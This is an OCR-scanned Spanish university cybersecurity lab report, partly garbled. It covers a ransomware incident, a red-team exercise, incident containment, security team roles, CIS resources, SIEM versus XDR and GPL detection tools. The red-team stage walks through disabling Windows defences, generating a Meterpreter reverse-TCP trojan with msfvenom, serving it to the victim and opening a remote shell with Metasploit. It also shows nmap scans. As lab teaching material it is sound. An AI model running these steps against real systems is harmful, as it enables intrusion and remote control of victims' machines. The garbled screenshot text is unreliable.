como RansomHouse realizo la violacion de los datos sin previa autorizacion
del propietario de la informacién, adicionalmente el ataque recibido en la
entidad logrd, permitieron, acumularon, divulgaron, trasfirieron, alteraron los
datos maestros de los usuarios y clientes externos. Se comete el delito ya
gue este articulo tiene como finalidad salvaguardar la privacidad de los datos
reservados, personales, publica o privada.

La consecuencia de haber recibido ataques de tipo Ransomware y asi mismo
materializado viene todo el tema presupuestal ya que la recuperacion y subir la
disponibilidad de los diferentes servicios puede ser costosa. IFX Networks
seguramente asumio la inversion de recursos caracteristicos en la reconstruccién
de sistemas, innovacion de la seguridad informatica y perimetral y la mitigacion de
vulnerabilidades cibernéticas.

2.3 ETAPA 3-EJECUCION PRUEBAS DE INTRUSION

Paso 1: La estructura basica en cuanto a sintaxis se va a explicar en este paso, pero
hay algo muy importante a tener en cuenta y es todo el tema relacionado con la
arquitectura de la maquina que se va a comprometer. La maquina victima debe estar
en la misma red que la maquina atacante y estar en un mismo fragmento de red,
pueden crear las maquinas virtuales en modo bridge.

BOWNSE #MBTE 6O Ccmomeon

Figur 14 Deccionamiento modo bridge
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Paso 2: El siguiente paso es identificar el sistema operativo de la maquina victima,
para este taller se menciona una maquina Windows 10 con una arquitectura x64,
pero dicha maquina debe tener todos los sistemas de seguridad deshabilitados:
Windows defender, firewall, antivirus y proteccion en tiempo real, porque en el taller
no se abarcara técnicas de evasion a los antivirus

Maquina Ver Entrada Dispositivos Ayuda

& informacion del sistema = O X
Archivo Editar Ver Ayuda
Resumen del sistema Elemento Valor =
@-Recursos de hardware [Nombre dei'so Microsoft Windows 10 Pro |
& Componentes Version 70.0.19045 compilacion 19045
&-Entomo de software Descripcion adicional del SO No disponible b
Fabricante del SO Microsoft Corporation
Nombre del sistema DESKTOP-4TTQE4Q
Fabricante del sistema innotek GmbH |
Modelo del sistema VirtualBox |
Tipo de sistema PC basado en x64
SKU del sistema No compatible
Procesador AMD Ryzen 5 5600X 6-Core Processor, 3700 Mhz, 1 procesador:
Version y fecha de BIOS innotek GmbH VirtualBox, 1/12/2006
Version de SMBIOS 25 ‘
Modo de BIOS Heredado ‘ /‘/
Fabricante de la placa base Oradle Corporation
Producto de placa base VirtualBox |
Versién de la placa base 12
Rol de plataforma Escritorio |
Estado de arranque seguro No compatible |
Configuracién de PCR7 Enlace no posible
Directorio de Windows C:\Windows
Directorio del sistema C:\Windows\system32
Dispositivo de arranque \Device\Harddiskvolume1 v
< >
Buscar esto: | Buscar Cerrar bisqueda
[JBuscar solo la categoria seleccionada []Buscar solo nombres de categoria

Figura 15 Arquitectura maquina victima

Archivo  Maquina Ver Entrada

Seguridad de Windows - o x

é
Le dan - Configuracion de antivirus y

Micros proteccion contra amenazas
con m( @ Ver y actualizar la configuracién de Proteccién contra virus y amenazas de
. Antivirus de Microsoft Defender.
Windo|©
A L
Proteccion en tiempo real
o Busca malware e impide que se instale o ejecute en tu dispositivo. Puedes
desactivar esta opcién durante un breve periodo de tiempo antes de que
8 se vuelva a activar automaticamente.

La protecci6n en tiempo real esté desactivada, lo que hace que tu
dispositivo sea vulnerable.

=t
Para comet & @D Desactivado
h

contraseiaf

Elegindl Proteccion basada en la nube

Proporciona una proteccién mayor y mas rapida con acceso a los datos
mas recientes de proteccién en la nube. Funciona mejor cuando el envio
automatico de muestras esta activado.

@ Activado =

S Agr

@

Declaracién de privacidad de Microsoft @

Puede que el dispositivo no esté actualizado
Reinicialo para instalar las actualizaciones
Selecciona una hora para reiniciar

O )G #ME ¥ 60 croomeca

Figura 16 Desactivacion de sistema de seguridad
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Windo  cntrol Firewall de Windows Defender puede ayudar a impedir que piratas informaticos o software
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Firewall de Windows Defender Actualizar configuracion de firewall

& Cambiar Ia configuracion de Firewall de Windows Defender no esta usando e e
notificaciones Ia configuracién recomendada para proteger

@ Activar o desactivar el Firewall eliequipo:
de Windows Defender ¢Cul es la configuracin recomendada?

& Restaurar valores

predeterminados -
- l g Redes privadas No conectado
@ Configuracion avanzada
Para Comefl  Solucién de problemas de red a Redes publicas o invitadas Conectado
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Redes en lugares piiblicos como aeropuertos o cafeterias
Elegir ur Estado de Firewall de Windows Defender: Desactivado
o Conexiones entrantes: Bloquear todas las conexiones a aplicaciones que
S Agre

no estén en la lista de aplicaciones permitidas

Redes publicas activas: = Red
Inici
Rtamnen Estado de notificacién: Notificarme cuando Firewall de Windows

‘ Sagirididy st HIaNS Defender bloquee una nueva aplicacién

Centro de redes y recursos
compartidos

Declaraciénl

H £ Buscar

636 p. m.
27/02/2024
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Paso 3. Msfvenom contiene una singular estructura de sintaxis para la seleccion y
creacion de ejecutables maliciosos, para el taller y teniendo en cuenta el enunciado
los principales comandos u opciones a utilizar son:

Ahora en la terminal Kali Linux se ingresa el comando msfvenom -p
windows/meterpreter/reverse_tcp LHOST=192.168.1.12 LPORT=4444 -f exe -0
1015459624.exe para crear el ejecutable troyano que serda enviado a la maquina
victima.

3ssword for kali:
/home/kali
windows/meterpreter/reverse_tcp LHOST=192.168.1.12 LPORT=4444
exe 1015459624 .exe

-] No platform was selected, choosing Msf::Module::Platform::Windows from th
payload

[ No arch selected, selecting arch: x86 from the payload

No encoder specified, outputting raw payload

Payload size: 354 bytes

Final size of exe file: 73802 bytes

Saved as: 1015459624 .exe

Figura 18 Creacion script malicioso
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Se verifica que en la carpeta de destino se haya creado el archivo como se muestra
a continuacion

Devices

(& File

Network
™™ Resacs Maharsek

Figura 19 Archivo creado

Una vez creado el archivo, se realiza la configuracion de un servidor apache2 local
para transferir el archivo al equipo victima.
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ki@ kal -

Edit View Help

BONS#nE S i S 0Ooueson
Figura 20 Creacion de servidor web

Conexion con el servidor desde el equipo victima para realizar la descarga del
archivo troyano

HOnFradcena0:
Figura 21 Conexion servidor para descargar el archivo
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Paso 4: Una vez Windows tenga el archivo .exe creado por msfvenom es
procedente ejecutar msfconsole en una consola para hacer uso de un exploit que
contribuya a escuchar y ejecutar el meterpreter por medio de una Shell reversa,
para este ejemplo se utilizaran los siguientes parametros:

Como el archivo 1015459624.exe ya se esta ejecutando en la maquina victima,
nuevamente en la terminal de Kali Linux se ejecuta msfconsole con el fin de llamar
la funcién que ayuda en el tests de penetracion (metasploit)

root@kali: /home/kali
File Actions Edit View Help

Metasploit tip: Display the Framework log using the log command, learn
more with help log

Figura 22 Herramienta de prueba de penetracién

Ahora en la terminal de Kali Linux se ejecuta el comando use exploit/multi’lhandler

para poder llegar al payload y asi tener la potestad de realizar la transmision del
mensaje con labores maliciosas

.metasploit.com/

uUsing configured payload gowoviffqrpfl_r;varcp_r(p

msf6 exploit( ) > set payload windows/meterpreter/reverse tcp
payload = windows/meterpreter/reverse_tcp

X
Figura 23 Multiples exploit y parametros de payload
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Ahora en la terminal de Kali Linux se escribe show options para verificar que se
tiene configurado dentro del metasploit para el correcto funcionamiento de la
actividad

root@kali: home/kali

File Actions Edit View Help

EXITFUNC
LHOST

LPORT

1 module info with the

Figura 24 Opciones configuradas

Ahora en la terminal de Kali Linux se llama el host de la maquina ataque
192.168.1.12 escuchando el trafico por el puerto 443

msf6 exploit( ) > set lport 443
lport = 443

msf6 exploit( ) > set lhost 192.168.1.12
lhost = 192.168.1.12
Figura 25 Direccionamiento del host y puerto de escucha

Ahora en la maquina victima, se vuelve a ejecutar el archivo 10154596214.exe ,
para que se comience a identificar la conexion remota.
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msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.1.12:443

Sending stage (175686 bytes) to 192.168.1.13
Meterpr r session 1 opened (192.168.1.12:443 — 192.168.1.13:50050) at
2024-03-11 18:56:32 -0400

Figura 26 Conexidn con la maquina victima

Una vez que se encuentren los datos anteriores, en la maquina victima se debe
regresar para activar todos los sistemas de seguridad, antivirus, firewall con el fin
de eliminar el archivo troyano llamado 1015459624.exe; Si en dado caso que no
elimine por si solo, se debe buscar el proceso Handler Scrash en el administrador
de tareas y finalice la tarea.

2.3.1 Describa de manera especifica las herramientas software que utilizé para
llevar a cabo el anexo 4 — escenario 3 enfocado a Redteam.

Teniendo en cuenta la direccion IP de la maquina victima (192.168.1.13), se realiza
el escaneo a esta direccion como se muestra en la ilustracion 14

192.168.1.13
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-03 19:06 EST
Nmap scan report for 192.168.1.13
Host is up (9.00@15s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-
445/tcp open microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 5.30 seconds

Figura 27 Escaneo de dispositivos en la misma red
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Tabla 2 Listado de puertos y servicios

135 MSRPC MSRPC es la implementacion Microsoft del
mecanismo de DCE RPC.
139 Netbios-ssn Sistema de Entrada Salida Basica de Red es un

protocolo estandar de IBM, que permite que las
aplicaciones sobre diferentes computadores se
comuniquen dentro de una red de area local (LAN)?
445 Microsoft-ds | Es un servicio establecido en uno o varios servidores
en donde se crean objetos tales como usuarios,
equipos o grupos, con el objetivo de administrar los
inicios de sesion en los equipos conectados a la red,
asi como también la administracion de politicas en
toda la red.?

Con el comando nmap —v se muestra un escaneo mas detallado del estado de los
puertos.

135/tcp on 192.16¢
out of 2

ip (9.0001

Not shown: 997 cl

0 STATE SER
iCp open

open

Figura 28 Escaneo rapido de direcciones IP

2 Universidad Tecnoldgica Nacional. (s.f). NetBIOS. Laboratorio Sistemas.
https://www.investigacion.frc.utn.edu.ar/labsis/publicaciones/InvesDes/Protocolos-
NBI/doc/netbios.html

8 Zuluaga Mufioz, C. A. (2003). Repositorio institucional Séneca: Inicio.
https://repositorio.uniandes.edu.co/server/api/core/bitstreams/531e3fc3-a863-4ce5-b973-
a8d0e704261b/content
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Para validar que redes estan activa se usa el comando nmap -sP (IP), si la red esta
activa se visualiza el mensaje “Host is up” y la latencia de conexion, de lo contrario
aparece el mensaje “Host seems down”.

= P 192.168.1.13
Starting Nmap 7.94SVN ( https://nmap.org

Nmap scan report for 192.168.1.13
Host is up (0.00030s latency).
Nmap done: 1 IP address (1 host up) scanned in 9.93 seconds

Figura 29 Comprobar qué hosts estan vivos y en red

Con el comando nmap -p (Puerto) (IP), se realiza el escaneo de un puerto en
especifico

Nmap done: P address (1 host up) scanned in 0.06 seconds

Nmap done: P 55 (1 host up) scanned in 0.96 seconds

Figura 30 Escaneo de un puerto en especifico

Se emplearon dos herramientas diferentes: NMAP, que facilita la identificacion de
la red objetivo, permitiendo revelar y rastrear los puertos abiertos para iniciar
posibles ataques y evaluar el nivel seguridad. A pesar de estar disefiado
especialmente para explorar los puertos, NMAP también puede utilizarse para
verificar aplicaciones, servidores, direcciones IP y mas. Por otro lado, Metasploit
Framework es una herramienta experta en transportar diferentes pruebas en
equipos Blue y Red, ya que incluye una amplia gama de exploits predeterminados
para ser aprovechados.

Una vez comprendido la parte tedrica se procede a la fase de recoleccién y
reconocimiento con un escaneo de puerto a la direccion de la maquina de la victima
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Figura 31 Vulnerabilidades de la maquina victima

Se encuentra relaciona la vulnerabilidad CVE-2011-1002 el cual afecta la
denegacion del servicio del domino Avahi en el sistema por medio de los diferentes
paguetes en la conmutacion de datos via internet UDP controlados por ioctl.

2.3.2 A continuacién, liste y describa los datos e informacion del anexo 4 —
escenario 3 que le fueron de ayuda para identificar el fallo de seguridad
especifico el cual ataca a la maquina windows 10 X64.

e Uno de las primeras falencias presentadas es la ejecucion de archivos no
conocidos por parte del gestor de la maquina victima. Cuenta con la facilidad
de varias formas de transferir archivos ya que no cuenta con los sistemas de
seguridad basicos y en este escenario se realizo la conexion de un servidor
http sencillo lo que produjo la ejecucién de registros anénimos.

e El uso de Msfvenom ayudo para poder crear y generar payloads
personalizados en formato ejecutable (exe) y luego trabajar en un ambiente
de penetracion con herramientas como Meterpreter la cual se usé de caracter
practica con el fin de poder explotar vulnerabilidades en la maquina de la
victima.

e Cualquier sistema operativo debe contar con un minimo nivel de seguridad
como el firewall, Windows Defender y el antivirus. Adicionalmente en el
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2.3.3

laboratorio se desactivaron todos estos sistemas de seguridad lo que produjo
lograr ejecutar e intuir facilmente la maquina de la victima.

Conociendo la arquitectura de la maquina victima es mas facil para los
atacantes deducir que tipo de repositorio y archivo malicioso puede utilizar
para tener acceso en su totalidad.

La informacién del payload msfvenom basado en los puertos abiertos y las
direcciones respectivas brinda todo el paso a paso del atraque especifico y
lograr identificar la facilidad de la penetracion al sistema.

El marco de usar herramientas versatiles como el Metasploit ayuda a llevar
un proceso controlado de identificar vulnerabilidades, explotar las
vulnerabilidades encontradas, acceso a la maquina victima para realizar
operaciones criticas como acceso de privilegios y control permanente.

A continuacion, liste y describa los datos e informacion del anexo 4 —
escenario 3 que le fueron de ayuda para identificar el fallo de seguridad
especifico el cual ataca a la maquina windows 10 X64.

Por el lado de la maquina victima se utilizo el Windows Defender ya que la misma
nos referencia las diferentes vulnerabilidades que tiene el sistema operativo.
Adicionalmente si nos enfocamos en el puerto segun el escenario propuesto se
dispone el puerto 443 de escucha, pero una vez realizando la configuracion del
acceso remoto a la maquina comprometida (Metasploit) pero realizando diferentes
escenarios de pruebas y error se pudo identificar que el puerto de penetracion del
servicio de troyanos se basa en TCP/UDP 4444 Por tal razén se logré identificar y
explotar la vulnerabilidad en la maquina victima gracias a las diferentes
herramientas versatiles que controlan el acceso total sobre el sistema

2.3.4 Explique con sus palabras y de manera especifica como afecta el ataque a

la maquina (Windows 10 X64), haga uso de graficos para explicar el ataque.
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Figura 32 Topologia implementada

Archivo 1015459624 .exe

Creacion msfvenom

«Etapa empieza cuando la maquina victima dontiene el archivo denominado 1015459624.exe

«Se lleva acabo multiples acciones maliciosas para crear el archivo y poder configurarlo de manera inversa por

un puerto en especifico

Payload de Meterpreter

eLa maquina atacante utilizo diferentes pruebas de penetracion
vulnerabilidades con la tecnica de Meterpreter en su propia maquina.

Conexion

como Metasploit para evidenciar

«Se establecio conexion entre las dos maquina cuando se ejecuto el payload creado su obtuvo el acceso remoto

toal de la victima.

Control remoto

«El servicio Meterpreter ejecutandose tiene la capacidad de obtener informacion del sistema, filtrar archivos de
la maquina, ejecutar comandos sobre el sistema operativo y acceso permanente.

Remocion

«La maquina atanque usas sus tecnicas de acceso para eliminar el archivo y subir los sistemas de seguridad del

sistema operativo Windows par ano dejar evidencia de ningun tipo

Figura 33 Paso a paso de actividad
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2.4 ETAPA 4-CONTENCION DE ATAQUES INFORMATICOS

2.4.1 ¢Ante un ataque informatico en tiempo real usted como experto en
Ciberseguridad qué pasos toma para identificar dicho ataque? Debe listar y

explicar cada uno de estos pasos.

Asemejar cualquier tipo de ataque a la infraestructura es de gran necesidad
contemplar una composicion entre metodologias, técnicas, herramientas y
conocimientos expertos en ciberseguridad. Por tal razon se sefiala algunas modelos

fundamentales tales como:

Valorar e
identificar

Reconocimiento

Recoleccion

*El objetivo del experto es poder reconocer la
naturaleza del ataque recibido y poder evaluar el
alcance del mismo.

*El experto en seguridad debera llevar acabo
acciones como: revisar las alertas de los sistemas
de seguridad, examinar el trafico, identificacion de
registros de autenticacion, estudiar bases de
datos de amenzas implementar técnicas forences.

* ldentificar la  infraestructura y  sistemas
comprometidos para contemplar las medidas
correspondientes

«Utilizar botnets de referencia para identificar el
impacto, inspeccionar las configuraciones de los
sitemas y diagramar la  infraestructura
comprometida

+Investigar las diferentes amenazas para preservar
la informacion de la entidad.

*Recopilar cualquier tipo de informacion valiosa en
los sistema de seguridad y de intrusion respecto al
ataque.
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*Separar la infraestructura y los sistemas
comprometidos para evitar la propagacion del
Aislamiento g

*Se debera realizar la desconexion de la red,
blogquear logicamente el trafico y realizar una
segmentacion diferte a la de produccion

*Principios de identificar, preservar, exploracion,

Ané"SiS forence investigacion y exposicion de evidencias respecto
al ataque recibido en la infraestructura y sistemas

*

*Realizar la socializacion alos usuarios finales y
partes interesadas.

Notificacidon

+*Aplicar acciones para limitar el impacto del ataque
en los sistemas.
*Ejecutar un plan de contencion ( parches de
Mltl g aCi (’)n seguridad, escaneo de la red, politicas DLP, reglas
de firewall) para que se logre mas efectiva y tener
una remediacion mas rapida del sistema

*Realizar la gestion eficaz de los incidentes de

Restauracion y seguridad y poder garantizar la disponibilidad,
= integridad y continuidad.
recuperacion *Se coloca en marcha la restauracion de forma

progresiva de los sistemas y servicios afectados.

*Hacer cumplir los procedimientos y implementar
diferentes medidas de seguridad para mitigar
cualquier tipo de ataques.

*Se debe realiza el informe con las evidencias
detalladamente con la descripccion del ataque, el
iumpacto recibido a la entidad, las causas del
porque se obtuvo el ataque, acciones tomadas,
lecciones aprendidas y recomendaciones frente a
cualquir situacion

. — —

Figura 34 Pasos de identificacién de un ataque

Comunicacion
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2.4.2 ¢Teniendo en cuenta el ataque ejecutado desde el ejercicio de Red team liste
el paso a paso que ejecutd para subsanar el sistema ante el evento del
Payload?

Segun el ejercicio anterior se logra entender una de las muchas maneras que
se puede realizar un ataque y a la vez el como remediar las situaciones con
los sistemas de seguridad. Por tal razon es necesario comprender que el
hardering es un vinculado de metodologias, herramientas o habilidades
aprovechadas en un sistema para mitigar un poco cualquier tipo de ataque y
viabilidad de que grupos técnicos para vulnerar los sistemas de seguridad y
conseguir tener privilegios sobre los sistemas de informacion, redes o
dispositivos.

Una vez que se haya identificado la trazabilidad del ataque se debe empezar
a orientar las remediaciones para poder mitigar todo el ataque completo a la
infraestructura tecnoldgica y una metodologia de recuperacion de los servicios
para avalar la continuidad del negocio. Es de gran importancia seguir un
proceso integro para detectar vulnerabilidades y se muestra el paso a paso de
la siguiente manera:

Actualizacion sistema operativo

Se realizo la verificacion del servicio de Microsoft que ayuda a conservar los
parches de seguridad y correccion de errores del sistema operativo, por tal
razén, se procede a realizar las actualizaciones correspondientes para
proteger hacia vulnerabilidades y amenazas
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Figura 35 Actualizaciones de sistema operativo Win 10

Acceso controlado a carpetas

Es una caracteristica del sistema operativo de Windows 10 encajada para
facilitar la proteccibn contra la explotacion de cddigo malicioso
(troyanos,ransomware) y ataques cibernéticos. Por esa situacion se utiliza la
herramienta de Windows Defender Exploit Guard para poder desplegar
politicas de proteccion frente a ejecucion de aplicaciones, atagues en
privilegios de usuario y realizacion de scripts en el sistema operativo.

“egaded 2 Wrdse

[B3 Proteccion contra ransomware

TOLEYs Kos SITNROS CONITA BITWNTEZAS, CO R FaIS0mese, § e L

15110105 £ (a5 e Maque

Controla el acceso a la carpeta
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WD~

22 Seokegy e

Recuperacan de datos por atague de ransomware

£ 2ONTIC QU8 LOMKS WSCaPItal STIVASE 00 65306 DUONTas & CasO 0 W
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o0 02 Un Mague B2 ranscimassie.

o 8

Figura 36 Restriccién de carpetas compartidas
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A continuacion, se podra evidenciar desde la maquina atacante el acceso al
archivo payload 1015459624.exe de la maquina victima, verificando la
efectividad de las herramientas usadas anteriormente se procede a realizar las

mismas pruebas de conexion con la maquina victima y certificar el proceso de
hardening

Adeo Mégre e Croade [Dagostace Apsie
. .
BomBP»(

-
® °
root @hali: heme/kal

File Actions Edit View Help

-
= [

‘i, o
» C

- M

L ] {
- g
_

HORS SNEM LGN omeon
Figura 37 Denegacion de acceso a payload

Mostrado el resultado se logra comprobar la denegacion del acceso a la
maquina victima ya que se fortaleci6 la seguridad en la misma pero
adicionalmente se plantea una enumeracion de actividades para minimizar la
repeticion del acontecimiento
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Actualizacion de
sistema operativo

Despliegue de
parches de
seguridad

Gestion de
seguridad y escaneo
de los equipos

Actualizacion de
fimware y escaneo
de puertos

Establecer matriz de
roles y perfiles

Blindar el sistema
operativo (firewall)

Administracion de
directivas de
dominio

Control de software
base corporativo

Gestion y
configuracion de
contrasenas
robustas

Despliegue GPO de
bloqueo de sesion

Configuracion de
politicas de
navegacion a
usuarios

Bloqueo de puertos
del sistema
operativo

Restringir el
protocolo de RDP en
equipos finales

Solucion de backup
del equipo

Configuracion
personalizada de
BIOS de los equipos

Limitar carpetas
compartidas en la
red corporativa

Implementacion de
funciones de
seguridad de
navegadores

Figura 38 Proceso de denegacion
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2.4.3 ¢Sabemos que existen equipos Blue Team y Red Team, pero entonces ¢ qué
diferencia existen entre los equipos antes mencionados con el Purple Team
y equipos de respuesta a incidentes informaticos?

Tabla 3 Diferencia de equipos de seguridad

También También Equipo Actta en el
llamados llamados encargado  de | momento en que
seguridad seguridad enfrentar las | se  materialice
ofensiva, es un | ofensiva, es un |técnicas de | algun  ataque,
equipo equipo de | defensa donde los
conformado por | profesionales implementadas | tiempos de
profesionales encargados de | por Blue Team | respuesta son de
gue se encargan | proteger la | contra las | manera
de buscar | organizacion técnicas de | inmediata con el
vulnerabilidades | contra cualquier | ataque wusadas |fin de que las
poniendo a | amenaza. por Red Team consecuencias
prueba el Blue puedan ser
Team. mitigadas.
Su principal | Su principal tarea | Su principal | Su principal
tarea consiste en | consiste en | objetivo es | funcién se
atacar el sistema | defender de | coordinar y | resume en la
de radicalmente | manera proactiva | garantizar que | respuesta ante
propendiendo ataques reales | los equipos | los ataques
probar la eficacia | que son | compartan sufridos por la
del sistema de | programados por | informacién organizacion.
seguridad el Red Team relevante con

respecto a las

vulnerabilidades

del sistema.
Simula un | Su funcionalidad | Gestiona la | Llevan a cabo
ataque real, con | radica en recoger | seguridad de la |tanto acciones
el fin de | datos de | informacion reactivas como
comprobar la | vigilancia realizando proactivas,
posibilidad de | constantemente | pruebas gue | asimismo
que alguien [ con el fin de | permiten gestionan la
externo a la | efectuar comprobar la | seguridad de la
empresa llegue a | evaluaciones eficacia de los | informacion
tener acceso a | sobre el acceso a | mecanismos vy
los sistemas de | los sistemas y | procedimientos
la organizacion. | aplicacionesenlo | que tenga Ila
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gue respecta a la | organizacion, en

seguridad de la | aras de

informacion. minimizar los

riesgos de
atagues.

Utilizan Analizan Optimiza las | Analizan la
diferentes patrones y | defensas y | informacion y
métodos y | comportamientos | mejoras en la | responden a los
herramientas con la | seguridad, ataques
que pretenden | recopilacion de | permitiendo a las | dependiendo los
explotar y abatir | datos, organizaciones | tipos.
tanto las | documentan lo | fomentar una
vulnerabilidades | que se debe | mejora continua
como las | proteger y llevan | en seguridad
debilidades de | acabo en andlisis | cibernética.
una red. de los riesgos
Evaltan la | Evalian las | Permite forjar la | Monitorean las
capacidad real | distintas seguridad de las | plataformas,
gue tiene wuna|amenazas que | organizaciones | detectan las
organizacion pueden fusionando los | vulnerabilidades
para proteger | presentarse propoésitos de | de sitios y
sus activos | dentro de la | cada equipo. sistemas  web,
criticos y medir la | organizacion, gestionan los
capacidad y | monitorean y incidentes y
velocidad de | recomiendan difunden
respuesta planes para medidas

mitigar los preventivas ante

posibles riesgos ataques de

que puedan malware.

materializarse

2.4.4 ¢Qué funcion tiene CIS “Center For Internet Security” dentro de equipos
BlueTeam? Usted debe realizar un pequefio tutorial de como funciona CIS y
gué se debe hacer para encontrar los tutoriales que posee.

Center For Internet Security (CIS), se estructura como una organizacion sin
animo de lucro que desarrolla un componente importante dentro de la
ciberseguridad, por cuanto brinda tanto recursos como pautas que pueden ser
utilizadas por los equipos de Blue Team para fortalecer la seguridad de los
sistemas de las organizaciones.*

4 CIS. (s.f.). CIS. https://www.cisecurity.org/
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A continuacion, se sefala el como funciona Center For Internet Security (CIS)
y el paso a paso para encontrar los tutoriales que posee esta organizacion

CIS SR

Figura 39 Center For Internet Security

Paso 1. Acceder al sitio web del CIS Dirigete al sitio web oficial del "Center
for Internet Security” en https://www.cisecurity.org/.

Paso 2: Explorar Recursos CIS Una vez en el sitio web del CIS, encontraras
una amplia variedad de recursos y pautas de seguridad.

A. CIS Controls: Son una serie de practicas mejoradas de seguridad
cibernética reconocidas de manera amplia. Blue Team pueden usarlos
como una guia que busca fortalecer sus defensas cibernéticas.
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B. CIS

Benchmarks:

Figura 40 Learning de CIS

Son guias técnicas

CONOICA A NLESTAUS ENBAMTORES —

Figura 41 Recursos especificos de CIS
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que
recomendaciones especificas de configuracion

operativos, aplicaciones y dispositivos comunes. Estas pautas ayudan
a configurar sistemas que incrementan la seguridad

proporcionan
para sistemas




C. CIS Critical Security Controls (CSC): Son un conjunto prioritario de
acciones que las organizaciones pueden tomar para mejorar su postura
de seguridad.

Mejores practicas y comunidades de expertos de renombre mundial

@ ais controls’ 9 C1S SecureSuite” ll & Ms1SAC % grisac

@ CIS Benchmarks™

DESCARGAR Y DXL — DESCARGAR LD ULTYMD ~> APRENDE MAS =

Figura 42 Buenas practicas de CIS

Para buscar tutoriales detallados o recursos adicionales que se requieran.
Dentro del sitio web del CIS, existe una funcion de blusqueda en la parte
superior del sitio web, donde se pueden ingresar palabras clave relacionadas
con el tema de interés. Esto facilitar4 encontrar informacién especifica acerca
de como implementar las recomendaciones de seguridad proporcionadas por
el CIS. El "Center for Internet Security” (CIS) es una fuente valiosa de recursos
y pautas de seguridad cibernética que Blue Team puede utilizar para fortalecer
sus defensas y mejorar su postura de seguridad. El sitio web del CIS como se
evidencia anteriormente, ofrece una gran variedad de recursos y su
implementacion.

2.4.5 Debera documentar mediante la elaboracion una tabla las diferencias
existentes entre: SIEM y XDR.

Tabla 4 Diferencias entre SIEM y XDR

Plataforma encargada de recopilar, | Plataforma encargada de la
analizar y correlacionar registros de | seguridad, donde combina Ia
eventos presentados y datos de | deteccibn y  respuesta  ante

seguridad recopilados en tiempo real
que proporcionan alertas de
amenazas.

amenazas yendo mas alla de los
limites de la red, abordando vectores
de ataque.
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2.4.6

Su enfoque se centra en la deteccion
de eventos y registros generados por

No solo se enfoca en los registros
generados por sistemas de red,

sistemas de red. también recopila informacién de
correos  electrénicos, nube vy
aplicaciones.

Se focaliza en la deteccion de | Utiliza el analisis de comportamiento

anomalias y correlacion de eventos, | avanzado y machine learning,

con el fin de identificar amenazas | identificando comportamientos

cibernéticas. sospechosos en toda la
infraestructura.

Detecta amenazas conocidas Y |Incorpora la deteccibn avanzada de

patrones que fueron previamente | amenazas, con base en un

identificados exhaustivo analisis de
comportamiento y deteccion de

amenazas desconocidas.

En cuanto a su escalabilidad puede
materializarse, sin embargo, la
adicion de nuevos dispositivos y
sistemas puede acarrear una
configuracion y ajustes significativos.

Fue diseflado para ser escalable y
gestionar altos volimenes de datos 'y
dispositivos sin problemas,
facilitando su expansion.

Puede integrarse con variedad de
fuentes de datos, no obstante, la
integracion  tiene  grados de

Se integra con facilidad con multiples
fuentes de datos y sistemas de
seguridad, simplificando no solo la

complejidad y requieren de tiempo. | implementacién sino también la
administracion.

Si  bien ofrece automatizacion | Su automatizacion avanzada,

limitada, esta requiere | permite una respuesta mas rapida

configuraciones personalizadas la
lograr una automatizacion completa.

ante la detecciéon de amenazas y su
respuesta correspondiente.

Defina por lo menos 3 herramientas
con licencia GPL.

de deteccion de ataques informéticos

En primer lugar, hay que definir gue GPL (General Public License), La es una
licencia de software copyleft que establece las condiciones para el uso,
modificacion y distribucidén de software gratuito y de cédigo abierto. El objetivo
de la licencia es evitar que el software GNU se convierta en un monopolio.
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Security @nion

Security Onion: Plataforma encargada de monitorear la seguridad de la red y
administracion de registros. Proporcionando visibilidad y contexto al trafico de
la red, alertas y actividades sospechosas. Tiene funciones como la captura
completa de paquetes, IDS basados en host y redes y herramientas de
analisis. Dentro de sus componentes se encuentra, UCP, RAM y DISCO, su
sistema operativo se basa en Ubuntu.®

Snort: Cuenta con capacidad de para efectuar andlisis de trafico en tiempo real
y registro de paquetes de datos, su funcionalidad radica en el analisis de
protocolos, blusqueda de contenido y reprocesadores.

Sus principales componentes son; modulo de captura del tréafico,
decodificador, preprocesadores, motor de deteccion, archivo de reglas, plugins
de deteccidn y plugins de salida. En cuanto su sistema operativo, funciona bajo
plataformas Windows y Unix/Linux.®

5 Security Onion Solutions. (s.f.). Security Onion Solutions. https://securityonionsolutions.com/
6 Snort. (s.f.). Snort. https://www.snort.org/
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OpenWIPS-NG: Sistema gratuito de prevencion y deteccion de intrusiones
inalambricas, basadas en sensores, servidores e interfaces, usa funciones y
servicios integrados en Aircrack—Ng para el escaneo, la deteccion y
prevencion de intrusos. Dentro de sus componentes se encuentra el tema de
los sensores, servidores e interfaces, cuenta con sistemas operativos.’

2.5 ASPECTOS RELEVANTES DEL DESARROLLO DE LAS ACTIVIDADES
ANTERIORES

2.5.1 De qué manera pueden aportar en el campo de la ciberseguridad la
integracion de equipos blue team, red team y purple team al mismo tiempo
dentro de una organizacion.

La incorporacién de los equipos blue team, red team y purple team, dentro de las
organizaciones constituye una tactica importante que tiene como principal objetivo
fortalecer la ciberseguridad y garantizar que estas, posean herramientas que
permitan mitigar y evitar los ataques cibernéticos que puedan presentarse. En lo
que concierne a cada equipo, aunque cuentan con caracteristicas especificas que
los diferencian unos de los otros, al momento de fusionarlos e incorporarlos dentro
de una organizacién aportan al campo de la ciberseguridad, lo siguientes aspectos;

A. Recopilacion de datos. Los equipos realizan la recopilacion de datos de
varias fuentes por medio de pruebas de seguridad, incidentes
presentados, registro de actividades de red, entre otros.

B. Analisis de datos. Por medio del Blue Team, una vez recopilados los
datos, se disponen a efectuar un andlisis de comportamientos y
patrones, donde se disponen a documentar que aspectos se deben

7 Openwisp-controller. (s.f.). PyPl. https://pypi.org/project/openwisp-controller/
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entrar a proteger y por ultimo llevan a cabo una valoracion de los
posibles riesgos que pueden materializarse.

. Valoracion de defensas. Permite una valoracion exhaustiva de las
medidas de seguridad con las que cuenta la organizacion, como primer
acercamiento, por medio del Red Team, se implementa la seguridad
ofensiva donde se buscan las vulnerabilidades, poniendo a prueba a
Blue Team.

. Evaluacién de proteccién. Los equipos evallan la capacidad real que
tiene la organizacion para proteger sus activos, de igual forma miden la
capacidad y velocidad de respuesta que tienen los equipos frente a una
amenaza. Lo que permite forjar la seguridad de las organizaciones
fusionando los propositos de cada uno (red team, blue team y purple
team).

Retroalimentacién continua. La comunicacion constante entre los
equipos aporta en la mejora de la ciberseguridad, en el entendido que
permite que se adapten a las amenazas detectadas por cada equipo y
Sus respuestas.

